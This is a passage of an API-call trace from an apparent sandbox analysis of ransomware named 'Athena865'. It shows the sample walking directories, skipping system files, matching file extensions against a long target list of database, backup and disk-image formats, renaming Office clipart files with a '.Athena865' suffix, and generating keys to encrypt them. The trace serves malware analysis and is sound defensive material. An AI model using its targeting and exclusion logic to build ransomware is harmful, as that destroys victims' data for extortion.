[0120.978] lstrlenW (lpString="grdb") returned 4 [0120.978] lstrcmpiW (lpString1=".GIF", lpString2="grdb") returned -1 [0120.978] lstrlenW (lpString="gwi") returned 3 [0120.978] lstrcmpiW (lpString1="GIF", lpString2="gwi") returned -1 [0120.978] lstrlenW (lpString="hdb") returned 3 [0120.978] lstrcmpiW (lpString1="GIF", lpString2="hdb") returned -1 [0120.978] lstrlenW (lpString="his") returned 3 [0120.978] lstrcmpiW (lpString1="GIF", lpString2="his") returned -1 [0120.978] lstrlenW (lpString="ib") returned 2 [0120.978] lstrcmpiW (lpString1="IF", lpString2="ib") returned 1 [0120.978] lstrlenW (lpString="idb") returned 3 [0120.978] lstrcmpiW (lpString1="GIF", lpString2="idb") returned -1 [0120.978] lstrlenW (lpString="ihx") returned 3 [0120.978] lstrcmpiW (lpString1="GIF", lpString2="ihx") returned -1 [0120.978] lstrlenW (lpString="itdb") returned 4 [0120.978] lstrcmpiW (lpString1=".GIF", lpString2="itdb") returned -1 [0120.979] lstrlenW (lpString="itw") returned 3 [0120.979] lstrcmpiW (lpString1="GIF", lpString2="itw") returned -1 [0120.979] lstrlenW (lpString="jet") returned 3 [0120.979] lstrcmpiW (lpString1="GIF", lpString2="jet") returned -1 [0120.979] lstrlenW (lpString="jtx") returned 3 [0120.979] lstrcmpiW (lpString1="GIF", lpString2="jtx") returned -1 [0120.979] lstrlenW (lpString="kdb") returned 3 [0120.979] lstrcmpiW (lpString1="GIF", lpString2="kdb") returned -1 [0120.979] lstrlenW (lpString="kexi") returned 4 [0120.979] lstrcmpiW (lpString1=".GIF", lpString2="kexi") returned -1 [0120.979] lstrlenW (lpString="kexic") returned 5 [0120.979] lstrcmpiW (lpString1="_.GIF", lpString2="kexic") returned -1 [0120.979] lstrlenW (lpString="kexis") returned 5 [0120.979] lstrcmpiW (lpString1="_.GIF", lpString2="kexis") returned -1 [0120.979] lstrlenW (lpString="lgc") returned 3 [0120.979] lstrcmpiW (lpString1="GIF", lpString2="lgc") returned -1 [0120.979] lstrlenW (lpString="lwx") returned 3 [0120.979] lstrcmpiW (lpString1="GIF", lpString2="lwx") returned -1 [0120.979] lstrlenW (lpString="maf") returned 3 [0120.979] lstrcmpiW (lpString1="GIF", lpString2="maf") returned -1 [0120.979] lstrlenW (lpString="maq") returned 3 [0120.979] lstrcmpiW (lpString1="GIF", lpString2="maq") returned -1 [0120.979] lstrlenW (lpString="mar") returned 3 [0120.979] lstrcmpiW (lpString1="GIF", lpString2="mar") returned -1 [0120.979] lstrlenW (lpString="marshal") returned 7 [0120.979] lstrcmpiW (lpString1="20_.GIF", lpString2="marshal") returned -1 [0120.979] lstrlenW (lpString="mas") returned 3 [0120.979] lstrcmpiW (lpString1="GIF", lpString2="mas") returned -1 [0120.980] lstrlenW (lpString="mav") returned 3 [0120.980] lstrcmpiW (lpString1="GIF", lpString2="mav") returned -1 [0120.980] lstrlenW (lpString="maw") returned 3 [0120.980] lstrcmpiW (lpString1="GIF", lpString2="maw") returned -1 [0120.980] lstrlenW (lpString="mdbhtml") returned 7 [0120.980] lstrcmpiW (lpString1="20_.GIF", lpString2="mdbhtml") returned -1 [0120.980] lstrlenW (lpString="mdn") returned 3 [0120.980] lstrcmpiW (lpString1="GIF", lpString2="mdn") returned -1 [0120.980] lstrlenW (lpString="mdt") returned 3 [0120.980] lstrcmpiW (lpString1="GIF", lpString2="mdt") returned -1 [0120.980] lstrlenW (lpString="mfd") returned 3 [0120.980] lstrcmpiW (lpString1="GIF", lpString2="mfd") returned -1 [0120.980] lstrlenW (lpString="mpd") returned 3 [0120.980] lstrcmpiW (lpString1="GIF", lpString2="mpd") returned -1 [0120.980] lstrlenW (lpString="mrg") returned 3 [0120.980] lstrcmpiW (lpString1="GIF", lpString2="mrg") returned -1 [0120.980] lstrlenW (lpString="mud") returned 3 [0120.980] lstrcmpiW (lpString1="GIF", lpString2="mud") returned -1 [0120.980] lstrlenW (lpString="mwb") returned 3 [0120.980] lstrcmpiW (lpString1="GIF", lpString2="mwb") returned -1 [0120.980] lstrlenW (lpString="myd") returned 3 [0120.981] lstrcmpiW (lpString1="GIF", lpString2="myd") returned -1 [0120.981] lstrlenW (lpString="ndf") returned 3 [0120.981] lstrcmpiW (lpString1="GIF", lpString2="ndf") returned -1 [0120.981] lstrlenW (lpString="nnt") returned 3 [0120.981] lstrcmpiW (lpString1="GIF", lpString2="nnt") returned -1 [0120.981] lstrlenW (lpString="nrmlib") returned 6 [0120.981] lstrcmpiW (lpString1="0_.GIF", lpString2="nrmlib") returned -1 [0120.981] lstrlenW (lpString="ns2") returned 3 [0120.981] lstrcmpiW (lpString1="GIF", lpString2="ns2") returned -1 [0120.981] lstrlenW (lpString="ns3") returned 3 [0120.981] lstrcmpiW (lpString1="GIF", lpString2="ns3") returned -1 [0120.981] lstrlenW (lpString="ns4") returned 3 [0120.981] lstrcmpiW (lpString1="GIF", lpString2="ns4") returned -1 [0120.981] lstrlenW (lpString="nsf") returned 3 [0120.981] lstrcmpiW (lpString1="GIF", lpString2="nsf") returned -1 [0120.981] lstrlenW (lpString="nv") returned 2 [0120.981] lstrcmpiW (lpString1="IF", lpString2="nv") returned -1 [0120.981] lstrlenW (lpString="nv2") returned 3 [0120.981] lstrcmpiW (lpString1="GIF", lpString2="nv2") returned -1 [0120.981] lstrlenW (lpString="nwdb") returned 4 [0120.981] lstrcmpiW (lpString1=".GIF", lpString2="nwdb") returned -1 [0120.981] lstrlenW (lpString="nyf") returned 3 [0120.981] lstrcmpiW (lpString1="GIF", lpString2="nyf") returned -1 [0120.981] lstrlenW (lpString="odb") returned 3 [0120.981] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0120.981] lstrlenW (lpString="odb") returned 3 [0120.981] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0120.982] lstrlenW (lpString="oqy") returned 3 [0120.982] lstrcmpiW (lpString1="GIF", lpString2="oqy") returned -1 [0120.982] lstrlenW (lpString="ora") returned 3 [0120.982] lstrcmpiW (lpString1="GIF", lpString2="ora") returned -1 [0120.982] lstrlenW (lpString="orx") returned 3 [0120.982] lstrcmpiW (lpString1="GIF", lpString2="orx") returned -1 [0120.982] lstrlenW (lpString="owc") returned 3 [0120.982] lstrcmpiW (lpString1="GIF", lpString2="owc") returned -1 [0120.982] lstrlenW (lpString="p96") returned 3 [0120.982] lstrcmpiW (lpString1="GIF", lpString2="p96") returned -1 [0120.982] lstrlenW (lpString="p97") returned 3 [0120.982] lstrcmpiW (lpString1="GIF", lpString2="p97") returned -1 [0120.982] lstrlenW (lpString="pan") returned 3 [0120.982] lstrcmpiW (lpString1="GIF", lpString2="pan") returned -1 [0120.982] lstrlenW (lpString="pdb") returned 3 [0120.982] lstrcmpiW (lpString1="GIF", lpString2="pdb") returned -1 [0120.982] lstrlenW (lpString="pdm") returned 3 [0120.982] lstrcmpiW (lpString1="GIF", lpString2="pdm") returned -1 [0120.982] lstrlenW (lpString="pnz") returned 3 [0120.982] lstrcmpiW (lpString1="GIF", lpString2="pnz") returned -1 [0120.982] lstrlenW (lpString="qry") returned 3 [0120.982] lstrcmpiW (lpString1="GIF", lpString2="qry") returned -1 [0120.982] lstrlenW (lpString="qvd") returned 3 [0120.982] lstrcmpiW (lpString1="GIF", lpString2="qvd") returned -1 [0120.982] lstrlenW (lpString="rbf") returned 3 [0120.982] lstrcmpiW (lpString1="GIF", lpString2="rbf") returned -1 [0120.982] lstrlenW (lpString="rctd") returned 4 [0120.983] lstrcmpiW (lpString1=".GIF", lpString2="rctd") returned -1 [0120.983] lstrlenW (lpString="rod") returned 3 [0120.983] lstrcmpiW (lpString1="GIF", lpString2="rod") returned -1 [0120.983] lstrlenW (lpString="rodx") returned 4 [0120.983] lstrcmpiW (lpString1=".GIF", lpString2="rodx") returned -1 [0120.983] lstrlenW (lpString="rpd") returned 3 [0120.983] lstrcmpiW (lpString1="GIF", lpString2="rpd") returned -1 [0120.983] lstrlenW (lpString="rsd") returned 3 [0120.983] lstrcmpiW (lpString1="GIF", lpString2="rsd") returned -1 [0120.983] lstrlenW (lpString="sas7bdat") returned 8 [0120.983] lstrcmpiW (lpString1="120_.GIF", lpString2="sas7bdat") returned -1 [0120.983] lstrlenW (lpString="sbf") returned 3 [0120.983] lstrcmpiW (lpString1="GIF", lpString2="sbf") returned -1 [0120.983] lstrlenW (lpString="scx") returned 3 [0120.983] lstrcmpiW (lpString1="GIF", lpString2="scx") returned -1 [0120.983] lstrlenW (lpString="sdb") returned 3 [0120.983] lstrcmpiW (lpString1="GIF", lpString2="sdb") returned -1 [0120.983] lstrlenW (lpString="sdc") returned 3 [0120.983] lstrcmpiW (lpString1="GIF", lpString2="sdc") returned -1 [0120.983] lstrlenW (lpString="sdf") returned 3 [0120.983] lstrcmpiW (lpString1="GIF", lpString2="sdf") returned -1 [0120.983] lstrlenW (lpString="sis") returned 3 [0120.983] lstrcmpiW (lpString1="GIF", lpString2="sis") returned -1 [0120.983] lstrlenW (lpString="spq") returned 3 [0120.983] lstrcmpiW (lpString1="GIF", lpString2="spq") returned -1 [0120.983] lstrlenW (lpString="te") returned 2 [0120.983] lstrcmpiW (lpString1="IF", lpString2="te") returned -1 [0120.983] lstrlenW (lpString="teacher") returned 7 [0120.984] lstrcmpiW (lpString1="20_.GIF", lpString2="teacher") returned -1 [0120.984] lstrlenW (lpString="tmd") returned 3 [0120.984] lstrcmpiW (lpString1="GIF", lpString2="tmd") returned -1 [0120.984] lstrlenW (lpString="tps") returned 3 [0120.984] lstrcmpiW (lpString1="GIF", lpString2="tps") returned -1 [0120.984] lstrlenW (lpString="trc") returned 3 [0120.984] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0120.984] lstrlenW (lpString="trc") returned 3 [0120.984] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0120.984] lstrlenW (lpString="trm") returned 3 [0120.984] lstrcmpiW (lpString1="GIF", lpString2="trm") returned -1 [0120.984] lstrlenW (lpString="udb") returned 3 [0120.984] lstrcmpiW (lpString1="GIF", lpString2="udb") returned -1 [0120.984] lstrlenW (lpString="udl") returned 3 [0120.984] lstrcmpiW (lpString1="GIF", lpString2="udl") returned -1 [0120.984] lstrlenW (lpString="usr") returned 3 [0120.984] lstrcmpiW (lpString1="GIF", lpString2="usr") returned -1 [0120.984] lstrlenW (lpString="v12") returned 3 [0120.984] lstrcmpiW (lpString1="GIF", lpString2="v12") returned -1 [0120.984] lstrlenW (lpString="vis") returned 3 [0120.984] lstrcmpiW (lpString1="GIF", lpString2="vis") returned -1 [0120.984] lstrlenW (lpString="vpd") returned 3 [0120.984] lstrcmpiW (lpString1="GIF", lpString2="vpd") returned -1 [0120.984] lstrlenW (lpString="vvv") returned 3 [0120.984] lstrcmpiW (lpString1="GIF", lpString2="vvv") returned -1 [0120.984] lstrlenW (lpString="wdb") returned 3 [0120.984] lstrcmpiW (lpString1="GIF", lpString2="wdb") returned -1 [0120.984] lstrlenW (lpString="wmdb") returned 4 [0120.984] lstrcmpiW (lpString1=".GIF", lpString2="wmdb") returned -1 [0120.985] lstrlenW (lpString="wrk") returned 3 [0120.985] lstrcmpiW (lpString1="GIF", lpString2="wrk") returned -1 [0120.985] lstrlenW (lpString="xdb") returned 3 [0120.985] lstrcmpiW (lpString1="GIF", lpString2="xdb") returned -1 [0120.985] lstrlenW (lpString="xld") returned 3 [0120.985] lstrcmpiW (lpString1="GIF", lpString2="xld") returned -1 [0120.985] lstrlenW (lpString="xmlff") returned 5 [0120.985] lstrcmpiW (lpString1="_.GIF", lpString2="xmlff") returned -1 [0120.985] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.Athena865") returned 73 [0120.985] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.athena865"), dwFlags=0x1) returned 1 [0120.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0120.986] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3484) returned 1 [0120.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0120.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.986] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.987] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.987] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.987] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10a0, lpName=0x0) returned 0x154 [0120.990] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10a0) returned 0x100000 [0120.991] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.991] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.991] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0120.991] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0120.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.992] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.992] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.992] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.992] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0120.992] CloseHandle (hObject=0x154) returned 1 [0120.992] CloseHandle (hObject=0x17c) returned 1 [0120.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0120.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.993] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0120.993] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.993] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.993] lstrcmpiW (lpString1="AG00126_.GIF", lpString2=".") returned 1 [0120.993] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="..") returned 1 [0120.993] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="windows") returned -1 [0120.993] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="bootmgr") returned -1 [0120.993] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="temp") returned -1 [0120.993] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="pagefile.sys") returned -1 [0120.993] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="boot") returned -1 [0120.993] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="ids.txt") returned -1 [0120.993] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="ntuser.dat") returned -1 [0120.993] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="perflogs") returned -1 [0120.993] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="MSBuild") returned -1 [0120.993] lstrlenW (lpString="AG00126_.GIF") returned 12 [0120.993] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00126_.GIF" | out: lpString1="AG00126_.GIF") returned="AG00126_.GIF" [0120.993] lstrlenW (lpString="AG00126_.GIF") returned 12 [0120.993] lstrlenW (lpString="Athena865") returned 9 [0120.993] lstrcmpiW (lpString1="0126_.GIF", lpString2="Athena865") returned -1 [0120.993] lstrlenW (lpString=".dll") returned 4 [0120.993] lstrcmpiW (lpString1="AG00126_.GIF", lpString2=".dll") returned 1 [0120.993] lstrlenW (lpString=".lnk") returned 4 [0120.993] lstrcmpiW (lpString1="AG00126_.GIF", lpString2=".lnk") returned 1 [0120.993] lstrlenW (lpString=".ini") returned 4 [0120.993] lstrcmpiW (lpString1="AG00126_.GIF", lpString2=".ini") returned 1 [0120.993] lstrlenW (lpString=".sys") returned 4 [0120.993] lstrcmpiW (lpString1="AG00126_.GIF", lpString2=".sys") returned 1 [0120.993] lstrlenW (lpString="AG00126_.GIF") returned 12 [0120.994] lstrlenW (lpString="bak") returned 3 [0120.994] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0120.994] lstrlenW (lpString="ba_") returned 3 [0120.994] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0120.994] lstrlenW (lpString="dbb") returned 3 [0120.994] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0120.994] lstrlenW (lpString="vmdk") returned 4 [0120.994] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0120.994] lstrlenW (lpString="rar") returned 3 [0120.994] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0120.994] lstrlenW (lpString="zip") returned 3 [0120.994] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0120.994] lstrlenW (lpString="tgz") returned 3 [0120.994] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0120.994] lstrlenW (lpString="vbox") returned 4 [0120.994] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0120.994] lstrlenW (lpString="vdi") returned 3 [0120.994] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0120.994] lstrlenW (lpString="vhd") returned 3 [0120.994] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0120.994] lstrlenW (lpString="vhdx") returned 4 [0120.994] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0120.994] lstrlenW (lpString="avhd") returned 4 [0120.994] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0120.994] lstrlenW (lpString="db") returned 2 [0120.994] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0120.994] lstrlenW (lpString="db2") returned 3 [0120.994] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0120.994] lstrlenW (lpString="db3") returned 3 [0120.995] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0120.995] lstrlenW (lpString="dbf") returned 3 [0120.995] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0120.995] lstrlenW (lpString="mdf") returned 3 [0120.995] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0120.995] lstrlenW (lpString="mdb") returned 3 [0120.995] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0120.995] lstrlenW (lpString="sql") returned 3 [0120.995] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0120.995] lstrlenW (lpString="sqlite") returned 6 [0120.995] lstrcmpiW (lpString1="6_.GIF", lpString2="sqlite") returned -1 [0120.995] lstrlenW (lpString="sqlite3") returned 7 [0120.995] lstrcmpiW (lpString1="26_.GIF", lpString2="sqlite3") returned -1 [0120.995] lstrlenW (lpString="sqlitedb") returned 8 [0120.995] lstrcmpiW (lpString1="126_.GIF", lpString2="sqlitedb") returned -1 [0120.995] lstrlenW (lpString="xml") returned 3 [0120.995] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0120.995] lstrlenW (lpString="$er") returned 3 [0120.995] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0120.995] lstrlenW (lpString="4dd") returned 3 [0120.995] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0120.995] lstrlenW (lpString="4dl") returned 3 [0120.995] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0120.995] lstrlenW (lpString="^^^") returned 3 [0120.995] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0120.996] lstrlenW (lpString="abs") returned 3 [0120.996] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0120.996] lstrlenW (lpString="abx") returned 3 [0120.996] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0120.996] lstrlenW (lpString="accdb") returned 5 [0120.996] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0120.996] lstrlenW (lpString="accdc") returned 5 [0120.996] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0120.996] lstrlenW (lpString="accde") returned 5 [0120.996] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0120.996] lstrlenW (lpString="accdr") returned 5 [0120.996] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0120.996] lstrlenW (lpString="accdt") returned 5 [0120.996] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0120.996] lstrlenW (lpString="accdw") returned 5 [0120.996] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0120.996] lstrlenW (lpString="accft") returned 5 [0120.996] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0120.996] lstrlenW (lpString="adb") returned 3 [0120.996] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0120.996] lstrlenW (lpString="adb") returned 3 [0120.996] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0120.996] lstrlenW (lpString="ade") returned 3 [0120.996] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0120.996] lstrlenW (lpString="adf") returned 3 [0120.996] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0120.996] lstrlenW (lpString="adn") returned 3 [0120.996] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0120.996] lstrlenW (lpString="adp") returned 3 [0120.997] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0120.997] lstrlenW (lpString="alf") returned 3 [0120.997] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0120.997] lstrlenW (lpString="ask") returned 3 [0120.997] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0120.997] lstrlenW (lpString="btr") returned 3 [0120.997] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0120.997] lstrlenW (lpString="cat") returned 3 [0120.997] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0120.997] lstrlenW (lpString="cdb") returned 3 [0120.997] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0120.997] lstrlenW (lpString="ckp") returned 3 [0120.997] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0120.997] lstrlenW (lpString="cma") returned 3 [0120.997] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0120.997] lstrlenW (lpString="cpd") returned 3 [0120.997] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0120.997] lstrlenW (lpString="dacpac") returned 6 [0120.997] lstrcmpiW (lpString1="6_.GIF", lpString2="dacpac") returned -1 [0120.997] lstrlenW (lpString="dad") returned 3 [0120.997] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0120.997] lstrlenW (lpString="dadiagrams") returned 10 [0120.997] lstrcmpiW (lpString1="00126_.GIF", lpString2="dadiagrams") returned -1 [0120.997] lstrlenW (lpString="daschema") returned 8 [0120.997] lstrcmpiW (lpString1="126_.GIF", lpString2="daschema") returned -1 [0120.997] lstrlenW (lpString="db-journal") returned 10 [0120.997] lstrcmpiW (lpString1="00126_.GIF", lpString2="db-journal") returned -1 [0120.997] lstrlenW (lpString="db-shm") returned 6 [0120.997] lstrcmpiW (lpString1="6_.GIF", lpString2="db-shm") returned -1 [0120.997] lstrlenW (lpString="db-wal") returned 6 [0120.998] lstrcmpiW (lpString1="6_.GIF", lpString2="db-wal") returned -1 [0120.998] lstrlenW (lpString="dbc") returned 3 [0120.998] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0120.998] lstrlenW (lpString="dbs") returned 3 [0120.998] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0120.998] lstrlenW (lpString="dbt") returned 3 [0120.998] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0120.998] lstrlenW (lpString="dbv") returned 3 [0120.998] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0120.998] lstrlenW (lpString="dbx") returned 3 [0120.998] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0120.998] lstrlenW (lpString="dcb") returned 3 [0120.998] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0120.998] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0120.998] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.Athena865") returned 73 [0120.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.athena865"), dwFlags=0x1) returned 1 [0120.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0120.999] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3140) returned 1 [0120.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.000] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.000] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.000] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.001] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf50, lpName=0x0) returned 0x154 [0121.002] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf50) returned 0x100000 [0121.004] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.004] 